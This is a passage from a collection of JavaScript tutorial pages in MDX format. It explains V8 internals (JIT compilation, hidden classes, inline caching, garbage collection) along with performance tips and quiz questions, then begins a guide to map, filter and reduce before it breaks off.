3: TurboFan (The Optimizing Compiler)\n\nWhen Ignition notices a function is called many times (it becomes \"hot\"), V8 decides it's worth spending time to optimize it. Enter **TurboFan**, V8's optimizing compiler.\n\nTurboFan takes the bytecode and profiling data, then generates **highly optimized machine code**. It makes assumptions based on the profiling data:\n\n```javascript\nfunction add(a, b) {\n  return a + b\n}\n\n// V8 observes: add() is always called with numbers\nadd(1, 2)\nadd(3, 4)\nadd(5, 6)\n// ... called many more times with numbers\n\n// TurboFan thinks: \"This always gets numbers. I'll optimize for that!\"\n// Generates machine code that assumes a and b are numbers\n```\n\nThe optimized code runs **much faster** than interpreted bytecode because:\n- It's native machine code, not bytecode that needs interpretation\n- It makes type assumptions (no need to check \"is this a number?\" every time)\n- It can inline function calls, eliminate dead code, and apply other optimizations\n\n### Step 4: Deoptimization (The Fallback)\n\nBut what if TurboFan's assumptions are wrong?\n\n```javascript\n// After 1000 calls with numbers...\nadd(\"hello\", \"world\")  // Strings! TurboFan assumed numbers!\n```\n\nWhen this happens, V8 performs **deoptimization**. It throws away the optimized machine code and falls back to Ignition's bytecode. The function runs slower temporarily, but at least it runs correctly.\n\nV8 might try to optimize again later, this time with better information about the actual types being used.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE OPTIMIZATION CYCLE                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│     Source Code                                                          │\n│          │                                                               │\n│          ▼                                                               │\n│     ┌─────────┐                                                         │\n│     │  Parse  │                                                         │\n│     └────┬────┘                                                         │\n│          │                                                               │\n│          ▼                                                               │\n│     ┌─────────┐        profile         ┌───────────┐                    │\n│     │ Ignition │ ───────────────────► │ TurboFan  │                    │\n│     │(bytecode)│                       │(optimized)│                    │\n│     └────┬────┘ ◄─────────────────── └─────┬─────┘                    │\n│          │         deoptimize              │                            │\n│          │                                 │                            │\n│          ▼                                 ▼                            │\n│      [Execute]                        [Execute]                         │\n│       (slower)                        (faster!)                         │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## What is JIT Compilation?\n\nYou might have heard that JavaScript is an \"interpreted language.\" That's only half the story. Modern JavaScript engines use **JIT compilation** (Just-In-Time), which combines interpretation and compilation.\n\n### The Three Approaches\n\n<Tabs>\n  <Tab title=\"Interpreted\">\n    **Pure Interpretation** (like old JavaScript engines)\n    \n    - Source code is executed line by line\n    - No compilation step\n    - Starts fast, but runs slow\n    - Every time a function runs, it's re-interpreted\n    \n    ```\n    Source → Execute → Execute → Execute...\n    ```\n  </Tab>\n  \n  <Tab title=\"Compiled\">\n    **Ahead-of-Time Compilation** (like C/C++)\n    \n    - Source code is compiled to machine code before running\n    - Slow startup (must compile everything first)\n    - Very fast execution\n    - Can't adapt to runtime information\n    \n    ```\n    Source → Compile (wait...) → Execute (fast!)\n    ```\n  </Tab>\n  \n  <Tab title=\"JIT (V8)\">\n    **Just-In-Time Compilation** (V8's approach)\n    \n    - Start executing immediately with interpreter\n    - Compile \"hot\" code to machine code while running\n    - Best of both worlds: fast startup AND fast execution\n    - Can use runtime information for smarter optimizations\n    \n    ```\n    Source → Interpret (start fast!) → Compile hot code → Execute (faster!)\n    ```\n  </Tab>\n</Tabs>\n\n### Why JavaScript Needs JIT\n\nJavaScript is a **dynamic language**. Variables can hold any type, objects can change shape, and functions can be redefined at runtime. This makes ahead-of-time compilation difficult because the compiler doesn't know what types to expect.\n\n```javascript\nfunction process(x) {\n  return x.value * 2\n}\n\n// x could be anything!\nprocess({ value: 10 })        // Object with number\nprocess({ value: \"hello\" })   // Object with string (NaN result)\nprocess({ value: 10, extra: 5 }) // Different shape\n```\n\nJIT compilation solves this by:\n1. Starting with interpretation (works for any types)\n2. Observing what types actually appear at runtime\n3. Compiling optimized code based on real observations\n4. Falling back to interpretation if observations were wrong\n\n<Warning>\n**The \"warm-up\" period:** When you first run JavaScript code, it's slower because it's being interpreted. After functions run many times, they get optimized and become faster. This is why benchmarks often include a \"warm-up\" phase.\n</Warning>\n\n---\n\n## What Are Hidden Classes?\n\n**Hidden classes** (called \"Maps\" in V8, \"Shapes\" in other engines) are internal data structures that V8 uses to track object shapes. They let V8 know exactly where to find properties like `obj.x` without searching through every property name.\n\nWhy does V8 need them? JavaScript objects are dynamic. You can add or remove properties at any time. This flexibility creates a problem: how does V8 efficiently access `obj.x` if objects can have any shape?\n\n### The Problem\n\nConsider accessing a property:\n\n```javascript\nfunction getX(obj) {\n  return obj.x\n}\n```\n\nWithout optimization, every call to `getX` would need to:\n1. Look up the object's list of properties\n2. Search for a property named \"x\"\n3. Get the value at that property's location\n\nThat's slow, especially for hot code.\n\n### The Solution: Hidden Classes\n\nV8 assigns a **hidden class** to every object. Objects with the same properties in the same order share the same hidden class.\n\n```javascript\nconst point1 = { x: 1, y: 2 }\nconst point2 = { x: 5, y: 10 }\n\n// point1 and point2 have the SAME hidden class!\n// V8 knows: \"For objects with this hidden class, 'x' is at offset 0, 'y' is at offset 1\"\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         HIDDEN CLASSES                                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   Hidden Class HC1                point1              point2             │\n│   ┌────────────────────┐         ┌────────┐         ┌────────┐          │\n│   │ x: offset 0        │ ◄────── │ HC1    │         │ HC1    │ ◄──┐     │\n│   │ y: offset 1        │         ├────────┤         ├────────┤    │     │\n│   └────────────────────┘         │ [0]: 1 │         │ [0]: 5 │    │     │\n│           ▲                      │ [1]: 2 │         │ [1]: 10│    │     │\n│           │                      └────────┘         └────────┘    │     │\n│           │                                                       │     │\n│           └───────────────────── Same hidden class! ──────────────┘     │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nNow, when V8 sees `getX(point1)`, it can:\n1. Check the hidden class (one comparison)\n2. Read the value at offset 0 (direct memory access)\n\nNo property name lookup needed!\n\n### Transition Chains\n\nWhat happens when you add properties to an object? V8 creates **transition chains**:\n\n```javascript\nconst obj = {}        // Hidden class: HC0 (empty)\nobj.x = 1             // Transition to HC1 (has x at offset 0)\nobj.y = 2             // Transition to HC2 (has x at 0, y at 1)\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                       TRANSITION CHAIN                                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   const obj = {}      obj.x = 1          obj.y = 2                       │\n│                                                                          │\n│   ┌──────────┐       ┌──────────┐       ┌──────────┐                    │\n│   │   HC0    │ ───►  │   HC1    │ ───►  │   HC2    │                    │\n│   │  (empty) │ add x │ x: off 0 │ add y │ x: off 0 │                    │\n│   └──────────┘       └──────────┘       │ y: off 1 │                    │\n│                                         └──────────┘                    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Warning>\n**Property order matters!** These two objects have **different** hidden classes:\n\n```javascript\nconst a = { x: 1, y: 2 }  // HC with x then y\nconst b = { y: 2, x: 1 }  // Different HC with y then x\n```\n\nThis means V8 can't share optimizations between them. Always add properties in the same order!\n</Warning>\n\n---\n\n## What is Inline Caching?\n\n**Inline Caching (IC)** is an optimization where V8 remembers where it found a property and reuses that information on subsequent calls. Instead of looking up property locations every time, V8 caches: \"For this hidden class, property X is at memory offset Y.\"\n\nThis optimization is possible because of hidden classes. When V8 knows an object's shape, it can cache the exact memory location of each property.\n\n### How Inline Caching Works\n\n```javascript\nfunction getX(obj) {\n  return obj.x  // V8 caches: \"For HC1, x is at offset 0\"\n}\n\nconst p1 = { x: 1, y: 2 }\nconst p2 = { x: 5, y: 10 }\n\ngetX(p1)  // First call: look up x, cache the location\ngetX(p2)  // Second call: same hidden class! Use cached location\ngetX(p1)  // Third call: cache hit again!\n```\n\nThe first time `getX` runs, V8 does the full property lookup. But it **caches** the result: \"For objects with hidden class HC1, property 'x' is at memory offset 0.\"\n\nSubsequent calls with the same hidden class skip the lookup entirely.\n\n### IC States: Monomorphic, Polymorphic, Megamorphic\n\nThe inline cache can be in different states depending on how many different hidden classes it encounters:\n\n<AccordionGroup>\n  <Accordion title=\"Monomorphic (Fastest)\">\n    The function always sees objects with the **same** hidden class.\n    \n    ```javascript\n    function getX(obj) {\n      return obj.x\n    }\n    \n    // All objects have the same shape\n    getX({ x: 1, y: 2 })\n    getX({ x: 3, y: 4 })\n    getX({ x: 5, y: 6 })\n    \n    // IC: \"Always HC1, x at offset 0\" - ONE entry, super fast!\n    ```\n    \n    **Performance:** Excellent. Single comparison, direct memory access.\n  </Accordion>\n  \n  <Accordion title=\"Polymorphic (Still Good)\">\n    The function sees a **few** different hidden classes (typically 2-4).\n    \n    ```javascript\n    function getX(obj) {\n      return obj.x\n    }\n    \n    getX({ x: 1 })              // Shape A\n    getX({ x: 2, y: 3 })        // Shape B  \n    getX({ x: 4, y: 5, z: 6 })  // Shape C\n    \n    // IC: \"Could be A, B, or C\" - checks a few options\n    ```\n    \n    **Performance:** Good. Checks a small list of known shapes.\n  </Accordion>\n  \n  <Accordion title=\"Megamorphic (Slowest)\">\n    The function sees **many** different hidden classes.\n    \n    ```javascript\n    function getX(obj) {\n      return obj.x\n    }\n    \n    // Every call has a completely different shape\n    getX({ x: 1 })\n    getX({ x: 2, a: 1 })\n    getX({ x: 3, b: 2 })\n    getX({ x: 4, c: 3 })\n    getX({ x: 5, d: 4 })\n    // ... many more different shapes\n    \n    // IC gives up: \"Too many shapes, doing full lookup every time\"\n    ```\n    \n    **Performance:** Poor. Falls back to generic property lookup.\n  </Accordion>\n</AccordionGroup>\n\n<Tip>\n**For best performance:** Pass objects with consistent shapes to your functions. Factory functions help:\n\n```javascript\n// Good: Factory creates consistent shapes\nfunction createPoint(x, y) {\n  return { x, y }\n}\n\ngetX(createPoint(1, 2))\ngetX(createPoint(3, 4))  // Same shape, monomorphic IC!\n```\n</Tip>\n\n---\n\n## How Does Garbage Collection Work?\n\nUnlike languages like C where you manually allocate and free memory, JavaScript automatically manages memory through **garbage collection (GC)**. V8's garbage collector is called **Orinoco**.\n\n### The Generational Hypothesis\n\nV8's GC is based on an observation about how programs use memory: **most objects die young**.\n\nThink about it: temporary variables, intermediate calculation results, short-lived callbacks. They're created, used briefly, and never needed again. Only some objects (your app's state, cached data) live for a long time.\n\nV8 exploits this by splitting memory into generations:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        V8 MEMORY HEAP                                    │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   YOUNG GENERATION                      OLD GENERATION                   │\n│   (Short-lived objects)                 (Long-lived objects)             │\n│                                                                          │\n│   ┌─────────────────────────┐          ┌─────────────────────────┐      │\n│   │ Nursery  │ Intermediate │   ───►   │  Survived multiple GCs  │      │\n│   │          │              │ survives │                         │      │\n│   │  New     │  Survived    │          │  App state, caches,     │      │\n│   │  objects │  one GC      │          │  long-lived data        │      │\n│   └─────────────────────────┘          └─────────────────────────┘      │\n│                                                                          │\n│   Minor GC (Scavenger)                  Major GC (Mark-Compact)          │\n│   • Very fast                           • Slower but thorough            │\n│   • Runs frequently                     • Runs less often                │\n│   • Only scans young gen                • Scans entire heap              │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Minor GC: The Scavenger\n\nNew objects are allocated in the **young generation**. When it fills up, V8 runs a **minor GC** (called the Scavenger):\n\n1. Find all live objects in the young generation\n2. Copy survivors to a new space\n3. Objects that survive multiple collections get promoted to the old generation\n\nThis is fast because:\n- Most young objects are dead (no need to copy them)\n- The young generation is small\n- Only copying live objects means no fragmentation\n\n### Major GC: Mark-Compact\n\nThe **old generation** is collected less frequently with a **major GC**:\n\n<Steps>\n  <Step title=\"Marking\">\n    Starting from \"roots\" (global variables, stack), V8 follows all references and marks every reachable object as \"live.\"\n  </Step>\n  \n  <Step title=\"Sweeping\">\n    Dead objects (unmarked) leave gaps in memory. V8 adds these gaps to a \"free list\" for future allocations.\n  </Step>\n  \n  <Step title=\"Compaction\">\n    To reduce fragmentation, V8 may move live objects together, like defragmenting a hard drive.\n  </Step>\n</Steps>\n\n### Concurrent and Parallel GC\n\nModern V8 uses advanced techniques to minimize pauses:\n\n- **Parallel:** Multiple threads do GC work simultaneously\n- **Incremental:** GC work is broken into small chunks, interleaved with JavaScript execution\n- **Concurrent:** GC runs in the background while JavaScript continues executing\n\nThis means you rarely notice GC pauses in modern JavaScript applications.\n\n---\n\n## How Do You Write Engine-Friendly Code?\n\nNow that you understand how V8 works, here are practical tips to help the engine optimize your code:\n\n### 1. Initialize Objects Consistently\n\nGive objects the same shape by adding properties in the same order:\n\n```javascript\n// ✓ Good: Consistent shape\nfunction createUser(name, age) {\n  return { name, age }  // Always name, then age\n}\n\n// ❌ Bad: Inconsistent shapes\nfunction createUser(name, age) {\n  const user = {}\n  if (name) user.name = name  // Sometimes name first\n  if (age) user.age = age     // Sometimes age first\n  return user\n}\n```\n\n### 2. Avoid Changing Types\n\nKeep variables holding the same type throughout their lifetime:\n\n```javascript\n// ✓ Good: Consistent types\nlet count = 0\ncount = 1\ncount = 2\n\n// ❌ Bad: Type changes trigger deoptimization\nlet count = 0\ncount = \"none\"  // Now it's a string!\ncount = null    // Now it's null!\n```\n\n### 3. Use Arrays Correctly\n\nAvoid \"holes\" in arrays and don't mix types:\n\n```javascript\n// ✓ Good: Dense array with consistent types\nconst numbers = [1, 2, 3, 4, 5]\n\n// ❌ Bad: Sparse array with holes\nconst sparse = []\nsparse[0] = 1\nsparse[1000] = 2  // Creates 999 \"holes\"\n\n// ❌ Bad: Mixed types\nconst mixed = [1, \"two\", 3, null, { four: 4 }]\n```\n\n### 4. Avoid [`delete`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete) on Objects\n\nUsing `delete` changes an object's hidden class and can cause deoptimization:\n\n```javascript\n// ❌ Bad: Using delete\nconst user = { name: \"Alice\", age: 30, temp: true }\ndelete user.temp  // Changes hidden class!\n\n// ✓ Good: Set to undefined or use a different structure\nconst user = { name: \"Alice\", age: 30, temp: true }\nuser.temp = undefined  // Hidden class stays the same\n```\n\n<Note>\nSetting a property to `undefined` keeps the property on the object (it just has no value). If you need to truly remove properties frequently, consider using a `Map` instead of a plain object.\n</Note>\n\n### 5. Prefer Monomorphic Code\n\nDesign functions to work with objects of the same shape:\n\n```javascript\n// ✓ Good: Monomorphic - always same shape\nclass Point {\n  constructor(x, y) {\n    this.x = x\n    this.y = y\n  }\n}\n\nfunction distance(p1, p2) {\n  const dx = p1.x - p2.x\n  const dy = p1.y - p2.y\n  return Math.sqrt(dx * dx + dy * dy)\n}\n\ndistance(new Point(0, 0), new Point(3, 4))  // All Points, same shape\n```\n\n---\n\n## Common Misconceptions\n\n<AccordionGroup>\n  <Accordion title=\"'JavaScript is interpreted, not compiled'\">\n    **Partially true, but misleading.** Modern JavaScript engines use JIT compilation. Your code is initially interpreted, but hot functions are compiled to native machine code. V8's TurboFan generates highly optimized machine code that rivals traditionally compiled languages for computational tasks.\n  </Accordion>\n  \n  <Accordion title=\"'More code = slower execution'\">\n    **Not necessarily!** V8 performs dead code elimination and function inlining. A well-structured program with more lines can be faster than a \"clever\" one-liner that's hard to optimize. Write clear, predictable code and let the engine optimize it.\n  </Accordion>\n  \n  <Accordion title=\"'I need to manually manage memory in JavaScript'\">\n    **No!** JavaScript has automatic garbage collection. You don't need to (and can't) manually free memory. However, you should avoid creating unnecessary object references that prevent garbage collection (memory leaks).\n    \n    ```javascript\n    // Potential memory leak: event listener keeps reference\n    element.addEventListener(\"click\", () => {\n      console.log(largeData)  // largeData can't be GC'd\n    })\n    \n    // Fix: Remove listener when done\n    element.removeEventListener(\"click\", handler)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"'eval() is just slow'\">\n    **It's worse than slow.** [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) prevents many optimizations because V8 can't predict what code will run. Variables in scope become \"unoptimizable\" because `eval` might access them. Avoid `eval()` and [`new Function()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function) with dynamic strings.\n  </Accordion>\n  \n  <Accordion title=\"'typeof null === 'object' is a V8 bug'\">\n    **No, it's in the ECMAScript specification.** This is a historical quirk from JavaScript's original implementation that was kept for backwards compatibility. All JavaScript engines must return `\"object\"` for [`typeof null`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof#typeof_null) to comply with the spec.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **V8 powers Chrome, Node.js, and Deno.** It's the most widely used JavaScript engine and determines how your code runs.\n\n2. **Code goes through multiple stages:** Source → Parse → AST → Bytecode (Ignition) → Optimized Machine Code (TurboFan).\n\n3. **Ignition interprets immediately.** Your code starts running right away without waiting for compilation.\n\n4. **TurboFan optimizes hot code.** Functions called many times get compiled to fast machine code based on observed types.\n\n5. **Deoptimization happens when assumptions fail.** If you pass unexpected types, V8 falls back to slower bytecode.\n\n6. **Hidden classes enable fast property access.** Objects with the same properties in the same order share optimization metadata.\n\n7. **Inline caching remembers property locations.** Monomorphic code (same shapes) is fastest; megamorphic code (many shapes) is slowest.\n\n8. **Garbage collection is automatic and generational.** Most objects die young; V8 optimizes for this with separate young/old generations.\n\n9. **Write consistent, predictable code.** Same shapes, same types, dense arrays. Help the engine help you.\n\n10. **Avoid anti-patterns:** `delete` on objects, sparse arrays, changing variable types, and `eval()`.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between Ignition and TurboFan?\">\n    **Answer:**\n    \n    **Ignition** is V8's interpreter. It generates bytecode from the AST and executes it immediately. It's fast to start but doesn't produce the fastest possible code. While running, it collects profiling data about types and execution patterns.\n    \n    **TurboFan** is V8's optimizing compiler. It takes bytecode and profiling data from Ignition, then generates highly optimized machine code. It takes longer to compile but produces much faster code. TurboFan kicks in for \"hot\" functions that run many times.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why does property order matter when creating objects?\">\n    **Answer:**\n    \n    V8 assigns hidden classes to objects based on their properties **and the order those properties were added**. Objects with the same properties in the same order share a hidden class and can use the same optimizations.\n    \n    ```javascript\n    const a = { x: 1, y: 2 }  // Hidden class A\n    const b = { y: 2, x: 1 }  // Hidden class B (different!)\n    ```\n    \n    Different hidden classes mean different inline cache entries and less optimization sharing. For best performance, always add properties in a consistent order.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What triggers deoptimization?\">\n    **Answer:**\n    \n    Deoptimization happens when TurboFan's assumptions about your code are violated. Common triggers include:\n    \n    - **Type changes:** A function optimized for numbers receives a string\n    - **Hidden class changes:** An object's shape changes (adding/deleting properties)\n    - **Unexpected values:** `undefined` where a number was expected\n    - **Megamorphic call sites:** Too many different object shapes at one location\n    \n    ```javascript\n    function add(a, b) { return a + b }\n    \n    // Optimized for numbers\n    add(1, 2)\n    add(3, 4)\n    \n    // Deoptimizes!\n    add(\"hello\", \"world\")\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What is inline caching and why does it speed up property access?\">\n    **Answer:**\n    \n    Inline caching (IC) is an optimization where V8 remembers where it found a property for a given hidden class. Instead of doing a full property lookup every time, it caches: \"For objects with hidden class X, property 'foo' is at memory offset Y.\"\n    \n    On subsequent accesses with the same hidden class, V8 skips the lookup and reads directly from the cached offset. This turns an O(n) dictionary lookup into an O(1) memory access.\n    \n    ```javascript\n    function getX(obj) {\n      return obj.x  // IC: \"For HC1, x is at offset 0\"\n    }\n    \n    getX({ x: 1, y: 2 })  // Cache miss, full lookup, cache result\n    getX({ x: 3, y: 4 })  // Cache hit! Direct access to offset 0\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What is the 'generational hypothesis' in garbage collection?\">\n    **Answer:**\n    \n    The generational hypothesis states that **most objects die young**. Temporary variables, function arguments, intermediate results. They're created, used briefly, and become garbage quickly.\n    \n    V8 exploits this by dividing the heap into:\n    - **Young generation:** Where new objects are allocated. Collected frequently with a fast \"scavenger\" algorithm.\n    - **Old generation:** Objects that survive multiple young generation collections. Collected less frequently with a slower but thorough algorithm.\n    \n    This is efficient because checking young objects frequently catches most garbage quickly, while long-lived objects aren't constantly re-checked.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: Which code pattern is more engine-friendly?\">\n    ```javascript\n    // Pattern A\n    function createPoint(x, y) {\n      return { x: x, y: y }\n    }\n    \n    // Pattern B\n    function createPoint(x, y) {\n      const point = {}\n      point.x = x\n      point.y = y\n      return point\n    }\n    ```\n    \n    **Answer:**\n    \n    **Pattern A is more engine-friendly.** \n    \n    In Pattern A, the object literal `{ x: x, y: y }` creates an object with a known shape immediately. V8 can skip the empty object transition.\n    \n    In Pattern B, the object goes through three hidden class transitions:\n    1. `{}` - empty shape\n    2. `{ x }` - after adding x\n    3. `{ x, y }` - after adding y\n    \n    Pattern A is faster to create and produces the same final shape more directly. Modern engines optimize object literals with known properties, skipping intermediate shapes.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is a JavaScript engine?\">\n    A JavaScript engine is the program that reads, compiles, and executes your JavaScript code. Each browser has its own: Chrome uses V8, Firefox uses SpiderMonkey, and Safari uses JavaScriptCore. All engines implement the [ECMAScript specification](https://tc39.es/ecma262/), which is why JavaScript behaves consistently across environments.\n  </Accordion>\n\n  <Accordion title=\"How does V8's JIT compilation work?\">\n    V8 uses a two-tier approach. First, the Ignition interpreter generates bytecode and runs your code immediately. As code runs, V8 profiles which functions are called frequently (\"hot\" code). TurboFan, the optimizing compiler, then compiles those hot functions into highly optimized machine code. If type assumptions are violated, V8 \"deoptimizes\" back to bytecode.\n  </Accordion>\n\n  <Accordion title=\"What are hidden classes in V8?\">\n    Hidden classes (also called \"shapes\" or \"maps\") are internal structures V8 creates to track the layout of your objects. When all objects of the same \"shape\" share a hidden class, V8 can use fast property access offsets instead of slow dictionary lookups. Changing object shapes after creation — like adding properties conditionally — forces V8 to create new hidden classes and slows performance.\n  </Accordion>\n\n  <Accordion title=\"How does garbage collection work in JavaScript?\">\n    V8 uses a generational garbage collector. Short-lived objects go into the \"young generation\" (Scavenger), which is collected frequently and quickly. Objects that survive multiple collections are promoted to the \"old generation\" (Mark-Sweep/Mark-Compact), collected less often. The [V8 blog](https://v8.dev/blog/trash-talk) provides detailed information about V8's garbage collection strategies.\n  </Accordion>\n\n  <Accordion title=\"How can I write engine-friendly JavaScript?\">\n    Keep object shapes consistent — initialize all properties in the constructor and avoid adding or deleting properties later. Use monomorphic functions that receive the same types. Avoid large, deeply nested closures that keep memory alive. Pre-allocate arrays to known sizes when possible, and prefer `const`/`let` over `var` for clearer scope analysis by the engine.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Call Stack\" icon=\"layer-group\" href=\"/concepts/call-stack\">\n    How V8 tracks function execution and manages execution contexts\n  </Card>\n  <Card title=\"Event Loop\" icon=\"rotate\" href=\"/concepts/event-loop\">\n    How async code runs alongside the single-threaded JavaScript engine\n  </Card>\n  <Card title=\"Primitive Types\" icon=\"cube\" href=\"/concepts/primitive-types\">\n    How V8 represents and optimizes different value types\n  </Card>\n  <Card title=\"Primitives vs Objects\" icon=\"code-branch\" href=\"/concepts/primitives-objects\">\n    How the engine stores primitives vs objects in memory\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript technologies overview — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/JavaScript_technologies_overview\">\n    Overview of JavaScript engines, ECMAScript, and how the language relates to browser APIs.\n  </Card>\n  <Card title=\"Memory Management — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management\">\n    How JavaScript manages memory allocation and garbage collection.\n  </Card>\n  <Card title=\"V8 Documentation\" icon=\"book\" href=\"https://v8.dev/docs\">\n    Official V8 documentation covering Ignition, TurboFan, and engine internals.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript engine fundamentals: Shapes and Inline Caches\" icon=\"newspaper\" href=\"https://mathiasbynens.be/notes/shapes-ics\">\n    Mathias Bynens and Benedikt Meurer explain how all JavaScript engines optimize property access. Includes excellent diagrams showing hidden classes and IC states.\n  </Card>\n  <Card title=\"JavaScript engine fundamentals: optimizing prototypes\" icon=\"newspaper\" href=\"https://mathiasbynens.be/notes/prototypes\">\n    The follow-up article covering how engines optimize prototype chain lookups. Essential reading for understanding object-oriented JavaScript performance.\n  </Card>\n  <Card title=\"Launching Ignition and TurboFan\" icon=\"newspaper\" href=\"https://v8.dev/blog/launching-ignition-and-turbofan\">\n    V8 team's announcement of the Ignition + TurboFan pipeline. Explains why the new architecture is faster and uses less memory.\n  </Card>\n  <Card title=\"Trash talk: the Orinoco garbage collector\" icon=\"newspaper\" href=\"https://v8.dev/blog/trash-talk\">\n    Deep dive into V8's modern garbage collector. Covers parallel, incremental, and concurrent techniques that minimize pause times.\n  </Card>\n  <Card title=\"How V8 optimizes array operations\" icon=\"newspaper\" href=\"https://v8.dev/blog/elements-kinds\">\n    V8 blog post explaining different \"elements kinds\" for arrays and how to write array code that V8 can optimize effectively.\n  </Card>\n  <Card title=\"Blazingly fast parsing, part 1: optimizing the scanner\" icon=\"newspaper\" href=\"https://v8.dev/blog/scanner\">\n    How V8 optimizes the first stage of code processing. Shows the engineering that makes JavaScript parsing fast.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Engines: The Good Parts\" icon=\"video\" href=\"https://www.youtube.com/watch?v=5nmpokoRaZI\">\n    Mathias Bynens and Benedikt Meurer at JSConf EU 2018. The definitive talk on JavaScript engine internals with beautiful visualizations of shapes, ICs, and optimization.\n  </Card>\n  <Card title=\"JS Engine EXPOSED — Google's V8 Architecture\" icon=\"video\" href=\"https://www.youtube.com/watch?v=2WJL19wDH68\">\n    Akshay Saini's Namaste JavaScript episode on V8. Beginner-friendly explanation of parsing, compilation, and the execution pipeline.\n  </Card>\n  <Card title=\"Understanding the V8 JavaScript Engine\" icon=\"video\" href=\"https://www.youtube.com/watch?v=xckH5s3UuX4\">\n    freeCodeCamp talk covering V8's architecture from a Node.js perspective. Great for understanding how the engine powers server-side JavaScript.\n  </Card>\n  <Card title=\"A Sneak Peek Into Super Fast V8 Internals\" icon=\"video\" href=\"https://www.youtube.com/watch?v=wz7Znu6tqFw\">\n    Chrome DevSummit talk showing how V8 optimizes real-world patterns. Includes profiling examples and optimization tips.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/map-reduce-filter.mdx",
    "content": "---\ntitle: \"map, reduce, filter\"\nsidebarTitle: \"map, reduce, filter\"\ndescription: \"Learn map, reduce, and filter in JavaScript. Transform, filter, and combine arrays without mutation. Includes method chaining and common pitfalls.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Functional Programming\"\n\"article:tag\": \"map reduce filter, array methods, functional programming, array transformation, method chaining\"\n---\n\nHow do you transform every item in an array? How do you filter out the ones you don't need? How do you combine them all into a single result? These are the three most common operations you'll perform on arrays, and JavaScript gives you three powerful methods to handle them.\n\n```javascript\n// The power of map, filter, and reduce in action\nconst products = [\n  { name: 'Laptop', price: 1000, inStock: true },\n  { name: 'Phone', price: 500, inStock: false },\n  { name: 'Tablet', price: 300, inStock: true },\n  { name: 'Watch', price: 200, inStock: true }\n]\n\nconst totalInStock = products\n  .filter(product => product.inStock)      // Keep only in-stock items\n  .map(product => product.price)           // Extract just the prices\n  .reduce((sum, price) => sum + price, 0)  // Sum them up\n\nconsole.log(totalInStock)  // 1500\n```\n\nThat's **[map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)**, **[filter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)**, and **[reduce](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce)** working together. Three methods that transform how you work with arrays.\n\n<Info>\n**What you'll learn in this guide:**\n- What map(), filter(), and reduce() do and when to use each\n- The factory assembly line mental model for array transformations\n- How to chain methods together for powerful data pipelines\n- The critical mistake with reduce() that crashes your code\n- Real-world patterns for extracting, filtering, and aggregating data\n- Other useful array methods like find(), some(), and every()\n- How to implement map and filter using reduce (advanced)\n- How to handle async callbacks with these methods\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand [higher-order functions](/concepts/higher-order-functions). map, filter, and reduce are all higher-order functions that take callbacks. If that concept is new to you, read that guide first!\n</Warning>\n\n---\n\n## The Factory Assembly Line\n\nThink of these three methods as stations on a factory assembly line. Raw materials (your input array) flow through different stations, each performing a specific job:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE FACTORY ASSEMBLY LINE                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  Raw Materials        PAINTING         QUALITY          PACKAGING        │\n│  (Input Array)        STATION          CONTROL          STATION          │\n│                       map()            filter()         reduce()         │\n│                                                                          │\n│  ┌───┬───┬───┬───┐   ┌───┬───┬───┬───┐   ┌───┬───┐       ┌─────────┐    │\n│  │ 1 │ 2 │ 3 │ 4 │ → │ 2 │ 4 │ 6 │ 8 │ → │ 6 │ 8 │   →   │   14    │    │\n│  └───┴───┴───┴───┘   └───┴───┴───┴───┘   └───┴───┘       └─────────┘    │\n│                                                                          │\n│                       Transform         Keep items       Combine into    │\n│                       each item         where n > 4      single value    │\n│                       (n × 2)            